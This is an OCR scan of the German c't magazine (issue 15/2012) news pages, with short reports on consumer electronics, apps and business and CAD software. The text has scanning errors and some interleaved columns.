und Magnetfeldsensoren mit je
drei Achsen. Somit liefert der nur
3 mm X 3 mm X 1,2 mm grofle
Kombisensor nicht bloR Daten
zu Lage und Bewegungen, son-
dern auch die Himmelsrichtung.

Eine eCompass genannte Soft-
ware verrechnet die Einzelwerte,
um die Auflésung zu erhéhen. In
groBen Mengen ab 100000
Stuck soll der Chip je 1,55 US-
Dollar kosten, ein 75 US-Dollar
teures Entwicklungskit soll im
dritten Quartal erscheinen. (bbe)
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DVD-Brenner tarnt sich als Festplatte

Plextor hat in seinem externen
Slim-Line-DVD-Brenner PX-612U
eine Funktion namens PlexTV
eingebaut. Durch diese wird das
Laufwerk von Fernsehern und
anderen Media-Playern als exter-
ne Festplatte erkannt und er-
laubt Lesezugriff auf die Dateien

der CDs und DVDs. Dank eines in-
ternen Akkus bendtigt das Lauf-
werk nur einen USB-Anschluss.
Plextor liefert zudem seine Ana-
lyse-Software PlexTools mit und
verkauft das 300 Gramm schwere
Laufwerk im schicken Metalige-
hause fur 59 Euro. (hag)

Plextors PX-612U
bendtigt keine
Treiber fir optische
Laufwerke, sondern
wird von Unter-
haltungsgerdten
als externe Fest-
platte erkannt.

Subwoofer fiir Sonos-System

Sonos erweitert sein Musikver-
teilsystem um den aktiven Netz-
werk-Subwoofer ,SUB”. Trotz
vergleichsweise schlanker Ab-
messungen von 40 cm X 38 cm
X 16 ¢cm bringt der auf Hoch-
glanz polierte Bass stattliche
16 Kilogramm auf die Waage. Er
lasst sich an beliebiger Stelle im
Raum positionieren und beno-
tigt lediglich einen Stroman-
schluss. Uber das Sonos-Funk-

In Sonos’ SUB stecken zwei
Verstarker und vis-a-vis zwei
Basstreiber.

netz verbindet er sich mit ande-
ren Sonos-Playern. Dabei muss
es sich um Sonos-Komponenten
mit aktivem Verstarker handeln,
die passiven Streaming-Kompo-
nenten Connect, ZP90 und ZP80
werden nicht unterstitzt.

Im SUB stecken zwei unabhan-
gige Verstarker mit je einem Bass-
treiber. Sie sind in der mittigen
Aussparung vis-a-vis angebracht
- Sonos spricht von ,Force-Can-
celling”-Lautsprechern, die vor
allem unangenehme Nebenge-
rausche des Gehduses minimie-
ren sollen.

Im ersten Hortest konnte der
Bass durchaus liberzeugen. Sto-
rend fiel auf, dass sich die Intensi-
tat im Nachhinein ausschliellich
umstdndlich Uber das Einstel-
lungsmenu verandern ldsst — ein
Lautstarkeregler am SUB fehlt. Der
SUB mit schwarzer Hochglanz-
Optik kostet 700 Euro. Ab Oktober
will Sonos auch eine mattschwar-
ze Variante anbieten, die 100 Euro
gunstiger sein soll. (sha)

Audio/Video-Notizen

Seit Mitte Juni kann man sich in
Deutschland auch ohne Face-
book-Konto bei der Musik-
Flatrate Spotify anmelden. Fur
den werbefinanzierten Dienst
reicht nun die Angabe eines
Namen und einer Mail-Adresse.

Google geht gegen YouTube-
Download-Dienste vor: Der
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Betreiber des MP3-Konvertie-
rungsservices YouTube-MP3.
org hat ein Schreiben von
einem Rechtsberater der Goo-
gle-Tochter bekommen, in
dem er aufgefordert wird,
seine Dienstleistung einzustel-
len. Laut Torrentfreak haben
vergleichbare Dienste gleich
lautende Schreiben erhalten.

Geheime Xbox-Plane aufgetaucht

Laut einem angeblichen inter-
nen Strategiepapier vom Au-
gust 2010, das kurzlich im Inter-
net aufgetaucht ist, plant Micro-
soft fur das kommende Jahr
einen Nachfolger der Xbox 360.
Die intern mit dem Codenamen
Xbox 720 bezeichnete Konsole
soll als allgemeiner Media-Hub
ausgelegt werden, der Blu-ray-
Filme abspielen und Fernsehsen-
dungen aufzeichnen koénne.
Dank skalierbarer Leistungsauf-
nahme kénne die neue Box ,al-
ways on” sein und auch im
Standby Daten empfangen. Die
Spieleleistung soll etwa das 4-
bis 8-Fache der Xbox 360 betra-
gen. Die jetzige Kinect-Kamera
werde angeblich durch eine HD-
fahige Version mit zwei Linsen
abgeldst werden, die rechts und
links vom Fernseher installiert

werden. Als Preis werde 300 US-
Dollar angepeilt.

2014 soll als Zubehor unter
dem Namen ,Fortaleza” eine
Augmented-Reality-Brille verof-
fentlicht werden, die Videospiel-
figuren scheinbar in die reale
Wohnzimmerumgebung  ein-
blenden konne. Eine mobile Ver-
sion dieses an Googles Glass er-
innernde Projekt solle ein Jahr
spater folgen. Das Streamen von
Spielen aus der Cloud, wie es
derzeit Firmen wie Gaikai oder
Onlive praktizieren, soll nach Mi-
crosofts Planen erst 2015 einge-
fihrt werden. Das Papier wirkt
durchaus authentisch, zumal das
Unternehmen Uber Anwdlte ver-
sucht, seine Verbreitung zu ver-
hindern. Ob die Pléne aber noch
immer aktuell sind, weill nur
Microsoft selbst. (hag)

Die Fortaleza-Brillen kénnten die nachste Xbox-Konsole
ab 2014 in eine Art Holodeck verwandeln.

GroBere 3DS-Konsole

Nintendo will am 28. Juli eine
groBere Version seiner Mobilkon-
sole 3DS auf den Markt bringen.
Die Bildschirme des 3DS XL ge-
tauften Gerates sind mit Diago-
nalen von 12,4 und 10,6 cm fast
doppelt so groB wie bisher. lhre
Auflésung von 400 x 240 und
320 x 240 Pixeln bleibt jedoch
unverandert. Mit einem Gewicht
von 336 Gramm wiegt die XL-
Version rund 100 Gramm mehr
als die 3DS. Die Akkulaufzeit soll

sich um 20 bis 30 Prozent verbes-
sern und bei 3DS-Spielen laut
Nintendo nun 3,5 bis 6,5 Stunden
betragen. Ein zweites Analogpad
wurde nicht integriert, aufgrund
seiner Grofe ist die XL-Version
inkompatibel zum Schiebepad
Pro. Der Preis liegt bei knapp
200 Euro. Nintendo legt dem
Gerat eine SD-Karte mit 4 GByte,
jedoch kein Netzteil bei. Ein sol-
ches ist separat flur etwa 5 bis
10 Euro erhaltlich. (hag)

Mit ihren gr6Beren
Bildschirmen und der
langeren Akkulaufzeit
beseitigt die 3DS XL
zwei erhebliche Mankos
des Vorgéngers.
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AirPrint fiir USB-Drucker

Lantronix hat einen Printserver
vorgestellt, der USB- und Ether-
net-Drucker AirPrint-fahig ma-
chen soll. Damit konnen die Dru-
cker voniOS-Geraten (ab Version
4.2) erkannt und aus jeder App
mit eigener Druckfunktion he-
raus verwendet werden. Eine
spezielle Drucker-App ist mit Air-
Print nicht erforderlich. Der
xPrintServer ,Home Edition” soll
noch in diesem Monat in den
Handel kommen und 80 Euro
kosten. Das Gerat, etwa so grof3
wie zwei Zigarettenschachteln,

bendtigt ein separates Netzteil
und muss per Ethernet mit dem
WLAN-Router verbunden sein.
Ein dhnliches Gerédt hatte Lan-
tronix bereits vor einigen Monaten
vorgestellt (siehe c't7/12,S.61) -
allerdings nur fiir Netzwerk-Dru-
cker. Mit der Home-Edition sollen
nun auch USB-Drucker ohne
Umweg Uber eine Freigabe vom
PC via AirPrint mit iOS-Geraten
drucken. Dafur benétigt der Print-
server einen auf den jeweiligen
Drucker zugeschnittenen Treiber,
den er sich aus dem Internet vom
Lantronix-Server holt. Eine Liste
mit den kompatiblen Druckern
finden Sie Uber den c't-Link. (tig)

www.ct.de/1215030

Mit der Home Edition des
xPrintServer von Lantronix
sollen sich auch USB-Drucker
via AirPrint von iOS-Geraten
aus benutzen lassen.

OLED-Entwicklung: Panasonic und
Sony tun sich zusammen

Die japanischen Unterhaltungs-
elektronik-Konzerne Panasonic
und Sony haben sich zusam-
mengetan, um gemeinsam
OLED-Panels fur TVs und GroB-
displays zu entwickeln. Beide
Unternehmen wollen ihre Tech-
nologien fir gedruckte OLEDs
mit in die Entwicklungspartner-
schaft bringen. Bislang werden
OLEDs meist noch mit aufwendi-
gen Maskenprozessen produ-
ziert, was die Kosten in die Hohe
treibt und die moglichen Diago-
nalen begrenzt.

Sony war 2007 das erste Unter-
nehmen, das einen OLED-Fernse-

Peripherie-Notizen

Canon hat den kostenlosen
Speicher seines Cloud-Bilder-
dienstes Canon Image Gate-
way auf 10 GByte erhoht.
Nutzen konnen den Dienst
Besitzer von Canon-Kameras
oder -Druckern.

Sony hateinen 4K-Kinoprojek-
tor angektindigt, der mit sechs
gunstigen Quecksilber-Beamer-
lampen arbeitet statt mit teuren
Xenon-Lampen. Der Projektor
mit eingebautem Kinoserver
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her anbot - der 11 Zoll (28 cm)
grof3e XEL-1 stellte aber eher eine
Kuriositat dar als einen Verkaufs-
schlager, hierzulande kostete er
happige 4300 Euro. In letzter Zeit
waren es eher Sonys koreanische
Kontrahenten Samsung und LG,
die in Sachen OLED auf sich auf-
merksam machten: Beide Unter-
nehmen haben bereits mehrfach
grof3e OLED-TVs mit 1,40 m Dia-
gonale (55 Zoll) angekiindigt -
wann diese in den Handel kom-
men ist allerdings unklar, konkre-
te Angaben zu Verkaufsstart und
Preis blieben beide Hersteller
schuldig. (jkj)

soll 45000 Euro kosten — und
damit auch fir kleine Indepen-
dent-Kinos erschwinglich sein.

Gefens HDMI-Extender GTB-
3DTV-KVM ubertragt mit zwei
Cat-5-Netzwerkkabeln HDMI-,
Infrarot- und USB-2.0-Signale.
Laut Hersteller lassen sich so
bis zu 100 Meter Uberbricken.
Die maximale Auflésung be-
tragt 1920 x 1200 Bildpunkte.
Das Gerat ist ab sofort fir rund
1000 Euro erhaltlich.

Sony bringt Google TV nach Deutschland

Zwei Jahre nach seinem Start
setzt Google TV nun zum Sprung
nach Europa an: Bereits im Janu-
ar hatte Sony auf der CES ange-
kindigt, dieses Jahr zwei Settop-
boxen fiir Google TV auch auBBer-
halb der USA anzubieten. Den
Anfang macht Sony jetzt in
GrofB3britannien, wo die Settop-
box NSZ-GS7 fiir 200 Euro im Juli
als Erstes in den Handel kommen
soll.

Plnktlich zur IFA soll die
TV-Box ,powered by Google TV”
in Deutschland erhéltlich sein.
Zudem will Sony das Gerat auch
in Australien, Brasilien, Holland,
Frankreich, Kanada und Mexiko
verkaufen. Im November soll
zudem mit dem NSZ-GP9 ein
Blu-ray-Player mit Google-TV-
Funktionen fiir 300 Euro erschei-
nen.

Beide Boxen werden mit einer
Wendefernbedienung ausgelie-
fert: Auf der einen Seite finden
sich Funktionstasten sowie ein
Touchpad, auf der anderen Seite
hat sie eine hinterleuchtete
QWERTZ-Tastatur flr Texteinga-
ben. Bei der NSZ-GP9 soll zusétz-
lich ein integrierter Gyro-Sensor
das Bewegen des Mauszeigers
auf dem Bildschirm ermdéglichen
und ein Mikrofon die Sprach-
steuerung erlauben.

Beide Boxen laufen mit An-
droid und verschmelzen das
klassische Fernsehen mit Netz-
Inhalten. Das empfangene TV-
Signal wird Uber einen HDMI-
Eingangvoneinem externen Re-
ceiver eingeschleift und uber ein
Video-Overlay mit Internetinhal-
ten angereichert an das TV-Gerat
ausgegeben. (spo)

Die Fern-

bedienung

der Google-Box

hat auf der Ober-

seite ein Touchpad

nebst Funktionstasten
und auf der Riickseite eine
QWERTZ-Tastatur.

Dokumentenscanner mit Android-App

Mit dem kompakten Dokumen-
tenscanner ScanSnap S1300i will
Fujitsu besonders Nutzer von
Smartphones und Tablets anspre-
chen. Das Gerét eignet sich fir
den mobilen Einsatz und bezieht
dabei Strom Uber die USB-Verbin-

dung zum Notebook. Die Scan-
Software fur Windows und Mac
OS X erzeugt mit Hilfe der OCR-
Software FineReader durchsuch-
bare PDFs und sendet sie - je
nach Voreinstellung - via WLAN
zum Android-Smartphone oder
per Dropbox zu beliebigen ande-
ren Mobilgeréten oder PCs.

Der ScanSnap $1300i soll deut-
lich schneller arbeiten als sein
Vorgénger. Er liest mit zwei Scan-
zeilen Vorder- und Riickseite des
Dokuments in einem Rutsch ein
und besitzt einen Vorlageneinzug
fur zehn Seiten. Der mobile Doku-
mentenscanner ist ab sofort fiir
320 Euro erhaltlich. (rop)

Scannt unterwegs und

im Biiro, auf Wunsch auch
aufs Smartphone: der
Fujitsu ScanSnap S1300i
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Comicin Bewegung

Tablets und Smartphones eig-
nen sich vortrefflich zur Anzeige
ftir Comics und kénnen dabei ei-
gentlich viel mehr als ein Stick
Papier. Doch bislang gingen di-
gitale Comics nur selten uber
das traditionelle Konzept anein-
andergereihter Bilder hinaus.
DeepComix flhrt in seiner iOS-
App DeepComix Teaser nun die
Raumlichkeit in die Bilderwelten
ein. Dazu nutzt sie die Beschleu-
nigungssensoren, um entspre-
chend der Bewegung des Geréts
den Blickwinkel auf die Szene zu
andern. So guckt man durch
Schwenken der Hardware bei-
spielsweise hinter eine Mauer
oder fuhrt seinen Blick durch Ex-
plosionswolken, Sprechblasen
und Charaktere wie durch eine
eingefrorene Filmszene. Ohne
jegliches Zubehoér hat man das
Gefuhl, raumlich in den Comic
hineinzusehen.

Ganz ohne Menl zoomt man
durch Gesten in die Sequenzen

hinein, blattert und blendet die
Sprechblasen aus. In der Anagly-
phendarstellung verstarkt eine
rot-blaue Farbfilterbrille den 3D-
Effekt noch - dann ru-
ckelts aber etwas. Mit
ihrer Technik wollen

aktuell | Apps

Planung fiir Auendienstler

Google will Unternehmen mit
der Android-App Google Maps
Coordinate (GMC) und dem zu-
gehoérigen Webdienst helfen,
AuBendiensteinsatze
zu koordinieren. Jedes
Mitarbeiter-Smartpho-

die Entwickler digital £ ne oder -Tablet sendet
erstellte Comics erwei- $ uber die App in regel-
tern, aber auch tradi- S maBigen Abstinden
tionelle Comis sollen = T seinen Aufenthaltsort
sich damit umwandeln www.ct.de/1215031 an den Google-Web-

lassen. Die kostenlose

App fur iPhone, iPod Touch und
iPad (ab iOS 4.0) ist eine Studie
und verdeutlicht in einem farbi-
gen Action-Comic mit sieben Pa-
nels das Potenzial der Idee.

Ob es am Ende nicht doch
etwas zu anstrengend ist, einen
ganzen Comic lang sein Tablet
oder Smartphone hin- und her-
zuschwenken, vermag man an-
hand der Leseprobe noch nicht
zu erkennen. Fir einen, Wow-Ef-
fekt” reicht der kleine Einblick je-
denfalls. (mho)

Ein Schwenken des Tablets verschiebt in DeepComix Teaser
die Bildebenen und erzeugt einen raumlichen Eindruck.

Datenbank fiirs iPad

Die iPad-Variante der FileMaker-
Datenbank Bento hat einen gro-
Ben Sprung gemacht: von Ver-
sion 1.15 auf 4. Nun lassen sich
vorkonfektionierte oder selbst
entworfene Datenbankprojekte
in unterschiedlichen Designs
aufbereiten und weiterverarbei-
ten. Dabei kann Bento seine In-
halte per Formular, als Tabelle,
als Vollbildanzeige eines Daten-
satzes oder als geteilte Ansicht in
zwei Fenstern prdsentieren.

Die Uberarbeitete Suchfunk-
tion hebt in einer Trefferliste
die Fundstellen des Suchstrings
farbig hervor und sortiert Gber

C't2012, Heft 15

mehrere Datenfelder. Auch Orts-
daten und Rechenformeln sind
jetzt als Datentyp méglich. Ein-
zelne Felder kénnen per Pass-
wort geschiitzt werden.

Den Datenaustausch mit
Apps wie iCal oder Contacts un-
terstlitzt Bento nicht mehr. Wer
seinen Adressbestand in Bento
nutzen will, muss die Kontakte
beim Datenbankdesign statisch
hineinkopieren und fortan von
Hand aktualisieren. Die neue
App gibt es fir 7,99 Euro inklu-
sive 24 anpassbarer Datenbank-
vorlagen. Weitere Vorlagen fin-
det man im Web. (hps)

server. Ist WLAN-Or-
tung am Handy eingeschaltet,
klappt das in der Regel auch eini-
germallen genau in Innenrdu-
men. Der Server wiederum gibt
die Position an alle Mitarbeiter
weiter. Ein bisschen funktioniert
das wie Googles Freunde-Ortung
Latitude, doch hat GMC dariber
hinaus ein Ticketsystem fir Ar-
beitsvorgange: Einzelne Auftrage
kann der Mitarbeiter annehmen
oder von der Zentrale zugewie-
sen bekommen. Er aktualisiert
den Auftragsstatus, schickt Nach-
richten an Kollegen und schlief3t
Auftrége per Touch ab.

AuBer auf Android-Gerdten
sind die erfassten Daten im
Browser verflugbar, etwa fir
einen Dispatcher in der Service-
Zentrale. Der auch in Deutsch-
land nutzbare Dienst ist ebenso

App-Notizen

Die Nachrichtensammel-App
Flipboard ist nun auch fir An-
droid verfligbar. Fiur iPhone
und iPad bietet sie erstmals
kostenpflichtige Inhalte der
New York Times an.

Den populdren Datenkompri-
mierer WinZip gibt es jetzt
auch als kostenlose Android-
Anwendung. Sie packt und
entpackt ZIP-Archive - optio-
nal auch verschlisselt.

Nike hat seine Lauf-App Nike+
GPS in Nike+ Running umbe-
nannt und stellt sie nun kos-
tenlos fur iOS und Android zur
Verfligung. In der aktuellen
Version 4 kann man mehr De-
tails zur Laufstrecke angeben
und bekommt das aktuelle
Wetter angezeigt.

Die = Deutsche-Bundestag-
App ist in Version 3.0 nun auch
furs iPad optimiert. Sie infor-

wie die App nur Uber Googles
US-amerikanischen Vertriebsser-
vice fur Unternehmenskunden
zugdnglich und kostet bis Ende
August 15 US-Dollar je Nutzer
und Monat. (hps)

Port Jackson

Die Android-App zu Google
Maps Coordinate reichert

den Kartendienst mit Standort-
Infos fiir ein Team von Mit-
arbeitern an.

miert Uber die aktuellen The-
men und zeigt Steckbriefe der
Abgeordneten.

Der FreeNavigator von Pearl
bietet werbefinanzierte Navi-
gation auf Deutschlandkarten
an. Die Pearl Navi ist fur iOS-
Gerdte ab 4.3 erhdltlich, eine
Version ohne Werbung kostet
4 Euro.

Verbesserungen flir zwei popu-
lare i0S-Mail-Clients: Google
Mail arbeitet nach dem neues-
ten Update jetzt auch mit App-
les iOS-Nachrichtenzentrale zu-
sammen, der Mailer Sparrow
unterstitzt in Version 1.3 erst-
mals POP-Server.

Mozilla hat seine Version 14
seines Browsers Firefox fir An-
droid veroffentlicht. Sie unter-
stutzt Flash und synchronisiert
Lesezeichen, Kennworter und
die Chronik.
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Rundum erneuert

Unter dem gemeinsamen Namen
3DExperience Platform fasst der
franzosische Software-Hersteller
Dassault Systémes so unter-
schiedliche Produkte zusammen
wie die Konstruktionssoftware-
familie Catia, das Teamwerkzeug
Enovia, das Simulations- und
Analyse-Paket Simulia, den 3D-
Modellierer und Renderer 3Dvia,
den Prozessmodellierer und Fer-
tigungsplaner Delmia und die
Datenmanagementlésung Exa-
lead Cloud View. Alle diese An-
wendungen und Pakete sind jetzt
als Version 6 Release 2013
(V6R2013) zu bekommen.
Generell sollen sich die An-
wendungen der Plattform auf
mehr CAD-Dateiformate verste-
hen, was die Zusammenarbeit
mit Zulieferern erleichtern und
Teile wiederverwendbar machen
soll, ohne dass sie daflir konver-
tiert werden missen. Zusatzliche
Schnittstellen binden Produkt-
datenmanagementsysteme an,
unter anderem SAP. AuBerdem

stellt Dassault Systemes neue
Programmierschnittstellen zur
Verfligung, etwa fiir Roboterpro-
grammierung und Maschinen-
steuerung.

Viele einzelne Anwendungen
bringen daruber hinaus spezielle
Neuheiten mit. Catia beispiels-
weise bietet in V6R2013 eine ei-
gene, Produktmanager-kompati-
ble Anwendung namens Live
Weight, mit der sich in wenigen
Klicks prufen lasst, ob die einzel-
nen Komponenten eines Strahl-
triebwerks oder eines &hnlich
komplexen Projekts die Ge-
wichtsvorgaben einhalten wer-
den, ohne dass der Anwender
dazu das detaillierte CAD-Modell
in Einzelteile zerlegen muss. Roh-
ren, hydraulische und elektrische
Systeme lassen sich als Blockdia-
gramme oder schematische
Zeichnungen mit Standardsym-
bolen entwerfen, verfeinern und
prifen. Simulia kann mit unter-
schiedlichen Dicken bei Flachen-
objekten umgehen, 3Dvia Studio

Modellieren und simulieren

Die 3D-Konstruktions- und Mo-
delliersoftware Solid Edge ST5
von Siemens PLM Software fasst
auf Wunsch importierte Bau-
gruppen zu monolithischen Ein-
zelteilen zusammen. Um Entwiir-
fe verschiedenen Produktions-
prozessen anzupassen, lassen
sich Einzelteile weiter aufspalten
oder neu kombinieren. Aus drei-
dimensional entworfenen Blech-
teilen erzeugt die Anwendung
zweidimensionale Zeichnungen
der Rohlinge und fiihrt die not-
wendigen Biegeschritte als Ta-
bellen auf. Ein integrierter Si-

mulator auf Basis des Finite-
Elemente-Analyse-Werkzeugs Fe-
map desselben Herstellers be-
rechnet das thermische Verhal-
tenvon mechanischen und elek-
tromechanischen Systemen. Ein
speziell vereinfachter 2D-Zei-
chenmodus soll erleichtern, Ka-
belbdume zu planen. Fur die
Darstellung von Solid-Edge-Mo-
dellen auf dem iPad steht eine
kostenlose App zur Verfligung.
Solid Edge ST5 ist ab Juli erhalt-
lich. (pek)

www.ct.de/1215032

Ein spezielles Werkzeug in Solid Edge ST5 frast Schlitze
in Bauteile, in die andere Teile hineingreifen.
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SolidWorks Plastics hilft beim Entwurf von Werkstiicken
und Formen fiir die Fertigung im Spritzguss.

Pro bietet eine eigene Baum-
bibliothek, mit der sich Umge-
bungen etwa von Gebauden rea-
listischer darstellen lassen.
Neben der 3DExperience Plat-
form hat Dassault Systémes
zudem SolidWorks Plastics he-
rausgebracht. Diese Software ist
vollsténdig in die 3D-Konstrukti-
onsanwendung SolidWorks inte-
griert und bietet spezielle Werk-

Geneious Pro ist eine Spezial-
software fiir die DNA-Sequen-
zierung. Version 5.6 verfolgt
Klon-Operationen und soll
auch mit groBen Datensatzen
bis hin zum menschlichen
Genom zurechtkommen. Die
Java-Anwendung lauft unter
Windows, Mac OS X und Linux.
Die Basis-Ausgabe ist gratis, die
Preise flr die Pro-Version rich-
ten sich nach Nutzungsdauer
und Einsatzzweck und reichen
von 39 bis 3995 US-Dollar.

Fir Version 15.9 des kostenlo-
sen Mathematikpakets Euler
Math Toolbox haben die Ent-
wickler die 3D-Darstellung von
Plots mit Hilfe von POV-Ray er-
weitert.

Der kostenlose Webdienst Cir-
cuitLab fur den Schaltungs-
entwurf im Browser soll sich
jetzt auch mit Safari auf iOS-
Mobilgeraten benutzen lassen.
Die Betreiber haben eine On-
line-Dokumentation zu den im-
plementierten Touch-Gesten
veroffentlicht.

Die " 3D-Animationssoftware
Cinema 4D steht Studenten
und Schilern gegen Nachweis

zeuge, um Spritzgussteile zu ent-
werfen. Daneben simuliert die
Software Anderungen an der
Geometrie des Teils oder der
Gussform, beim Material und den
Bedingungen bei der Verarbei-
tung. Die Anwendung ist vorerst
nur in Nordamerika erhéltlich,
weitere Regionen und Lander
sollen noch in diesem Jahr hinzu-
kommen. (pek)

kostenlos  zur  Verfligung
(Download siehe c't-Link). Der
Funktionsumfang &hnelt der
kommerziellen Version. Nach
18 Monaten kann die Lizenz
durch erneuten Nachweis ver-
langert werden.

Tulip ist eine kostenlose An-
wendung fir Visualisierun-
gen, steht unter der LGPL und
lauft unter Windows, Mac OS X
sowie Linux. Version 3.8.0 bie-
tet eine erweiterte Python-
Schnittstelle und einen kom-
fortableren Editor firs Skripten.

Version 4.20 des grafischen
Rechners RedCrab lasst sich
mit einer integrierten Sprache
programmieren, fihrt PHP-Pro-
gramme aus und greift auf
Excel-Tabellen, Access- sowie
MySQL-Datenbanken zu - al-
lerdings nur in der Plus-Version
fur 20 US-Dollar fir zwei Lizen-
zen und ein Jahr. Die Basisaus-
gabe ist gratis.

Der 3D-Druck-Webdienst i.ma-
terialise hat Bronze in den Kata-
log seiner Materialien aufge-
nommen.

www.ct.de/1215032

c't 2012, Heft 15



scan by blackburner 2012 internetz



aktuell | Anwendungen

Agiles Projekt-
management im Web

Der Webdienst Projectplace zur
kooperativen Projektverwaltung
umfasst in seiner jungsten Aus-
gabe sogenannte Actionboards
zur Verteilung anstehender Ar-
beitsschritte auf die Teammit-
glieder. Darauf erscheinen die
Detailaufgaben des Projekts mit
kurzen Begleit- und Statusinfor-
mationen wie auf einer Pinn-
wand. Sofern darunter noch
kein verantwortlicher Bearbeiter
erscheint, steht es jedem Team-
mitglied frei, sich selbst fir diese
Rolle einzutragen. Ebenfalls neu
eingefiihrte Progress Widgets
sammeln kontinuierlich Informa-
tionen zum Fortschritt der ein-
zelnen Pakete, und eine Timeline
soll verdeutlichen, wenn bei
einer Aufgabe Terminprobleme
drohen. Den zu Geblhren ab
25 Euro je Nutzer und Monat
abonnierbaren Dienst kann
man 30 Tage lang kostenlos tes-
ten. (hps)

www.ct.de/1215034

Newaction Add

Sign up Episerver consultants

Assigned: Per Wising

We should have the same consultants as we
did the last time - worked

Ability to distribute/deploy
APPS.

from Ato
BETA at Retease Day
Assigned: Adam Jackson

=" Due Date: 8 May

Implementation

Working Gn

Set up code review for the
consultants

Assigned: Krsta Ho

=] Due Date: 9 May

ard

Define users and workflow

LoadBalancer - Create the
new BETA rules

Assigned. Gew
=] Due Date: -

Scott

Identify tasks and URLS by
resource type.
Assigned: Adam Jackson

{1 Due Date: 10 May

-Create user IDs and groups. — Tivoli
Business Systems Manager oper

Define the server
configuration.

= Due Date: 14 Mar

Define the relationship
between resources and
business systems.

=] Due Date. 9 May

Tivoli Business Systems Manager SOL server
obs Source/390 rediscover

nvestigate Consultants

(=} Due Date: -

880 should work for the
Intranet implementation

] Due Date:-

Das Actionboard von Projectplace unter dem Dach der Timeline vermittelt
Detail-Infos zu allen anstehenden Arbeitspaketen.

CRM mit freien Landkarten

Der CRM-Spezialist CAS baut bei
seinem  Flaggschiff Genesis-
World x4 flur Betriebe mit 50
oder mehr Nutzern besonders
darauf, deren AuBendienstler zu
unterstttzen. Mit einer iPad-App
lassen sich Ausktnfte bis hin zu
Geschiftsberichten und offenen
Posten vom Server abrufen. Kon-
taktadressen visualisiert das Sys-
tem auf OpenStreetMap-Karten.
Dabei offeriert es eine Umkreis-

Zeige Adressen:

Vertriebspartner
im Umkreis von: 30km
300km

um:

@ Dieselstrasse 176
Ettlingen

T InListe anzeigen (2)

suche, und eng beieinander lie-
gende Adressen gruppieren sich
laut Hersteller auch beim He-
rauszoomen lesbar auf der Land-
karte.

AuBerdem soll das System
Kontaktdaten jetzt mit Micro-
soft Exchange synchronisieren
kénnen, beim Aufbau eines ei-
genen Support-Portals und der
Planung von Veranstaltungen
helfen. (hps)

GenesisWorld x4 platziert die Adressen von Geschiaftspartnern
auf Karten des OpenStreetMap-Projekts.
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Office-Dokumente retten

Der Datenrettungsspezialist Re-
coveronix bietet einen Web-
dienst zur Wiederherstellung be-
schadigter Office-, PDF- und
Bilddateien an. OfficeRecovery
Online unterstltzt knapp 40
Dateiformate wie Word, Excel,
PowerPoint, Access, PDF, diverse
Bildformate und E-Mail-Archiv-
Dateien von Lotus Notes, Out-
look und Exchange. Nach dem
Upload der beschaddigten Datei-
en auf die Website kénnen Nut-
zer zunachst anhand herunter-

Cloud-Firmensoftware

Laut Hersteller Weclapp sind
dessen Webdienste fir Waren-
wirtschaft, CRM, Kundendienst
sowie zur Verwaltung von Pro-
jekten, Vertridgen und Mobilge-
raten vollstandig auf deutschen
Servern beheimatet und unter-
liegen einer zertifizierten Sicher-
heitsiiberwachung gemaf3 der
Norm ISO 27001. Die zum Teil
kostenlosen Dienst-Abos zeich-
nen sich durch ungewdhnliche
Funktionsaufteilungen aus: An-
gebotserstellung und Artikelver-
waltung gehéren demnach zum
CRM-Modul, ein Kennzahlen-

ladbarer Vorschaudateien uber-
prifen, ob die Reparatur wie ge-
wunscht funktioniert hat. Fir den
sofortigen Download des nutz-
baren Dokuments sind dann
knapp 32 Euro pro Datei zu zah-
len, alternativ kann man das Er-
gebnis nach 14 Tagen gratis he-
runterladen. Uber verschiedene
Abo-Angebote lassen sich meh-
rere Dateien glinstiger wieder-
herstellen. (db)

www.ct.de/1215034

Cockpit findet sich im Kunden-
dienst-Modul ,Helpdesk”. Fur
die Auftragsverwaltung gibt es
kein eigenes Modul; vielmehr
haben die Entwickler Funktio-
nen zur Angebots- und Auf-
tragsverwaltung, fur Liefervor-
schlagslisten, die Verarbeitung
von Anzahlungsrechnungen so-
wie zur Kontrolle von Kosten-
stellen im Bereich Warenwirt-
schaft angesiedelt. Als Testan-
gebot gibt es jedes Abo auch
gratis. (hps)

www.ct.de/1215034
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Fliissige Bildschirmvideos

Das Screencast-Tool Camtasia
Studio 8 soll dank verbesserter
Engine schneller arbeiten als
sein Vorganger und HD-Videos
in flissigen Bildern aufnehmen
‘kénnen. Die Timeline unterschei-
det nicht mehr zwischen Video-
und Audiospur - jede Spur kann
Elemente aller Art aufnehmen.
Spuren lassen sich auBerdem
gruppieren, sodass sich Bestand-
teile beim Zoomen und Schwen-
ken zusammen bewegen. Die
Medienbibliothek hat der Her-
steller TechSmith um neue The-
menvorlagen aus aufeinander
abgestimmten Hintergrundbil-
dern, Videos und Clip-Art-Grafi-
ken erweitert. Videos aus an-
deren Quellen (AVI, MOV, MP4
und WMV) lassen sich ebenfalls
einbinden.

o Callowst - ArOw

W Catot et
B ot - Bomner2
. Coliout - Berner 3
& cwon - Baers

0000500
000050

Bei Quiz-Abfragen, welche
man mit dem Programm formu-
lieren und auf den Schirm brin-
gen kann, lieBen sich die Resul-
tate bisher nur an elearning-
Server senden; mit Camtasia 8
bietet TechSmith einen Dienst
an, der die Auswertungen auf
Wunsch anonym oder personali-
siert per E-Mail verschickt. Screen-
casts lassen sich nun mit dem
Smart Player unter Nutzung von
Flash und HTML5 far iOS- und
Android-Gerdte ausgeben.

Camtasia Studio 8 steht ab so-
fort auf Englisch flr 265 Euro zur
Verfiigung. Eine deutsche Version
soll im Herbst folgen. Wer jetzt
kauft, bekommt die deutsche
Fassung nachgeliefert. (akr)

www.ct.de/1215034

Camtasia Studio 8 hat eine vereinfachte Timeline erhalten:
Jede Spur kann Bildschirmaufnahme, Webcam-Video, Audio

oder Grafik enthalten.

c't2012, Heft 15
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TeX Live, Jahrgang 2012

Ungefdhr gleichzeitig mit die-
sem Heft soll TeX Live 2012, die
aktualisierte, plattformubergrei-
fende Distribution des freien
Textsatzsystems, als herunterlad-
bares ISO-Image erscheinen. Die
korrespondierende TeX Collec-
tion soll im Herbst in den Buch-
handel kommen. Flir Mac-Benut-
zer empfiehlt sich stattdessen
das Metapaket MacTeX mit weit
reichender Integration ins Be-
triebssystem. Sie sollten sich im
Web tiber die neuen Eigenschaf-
ten des Updaters flir Mapping-
Dateien informieren (siehe c't-
Link).

Die Bildverwaltung Media
Pro 1.3 soll nun Vorschaubilder
mit bis zu 3200 Pixeln Kanten-
lange erzeugen und besser mit
groBen Katalogen umgehen
konnen. AufBerdem hat Phase
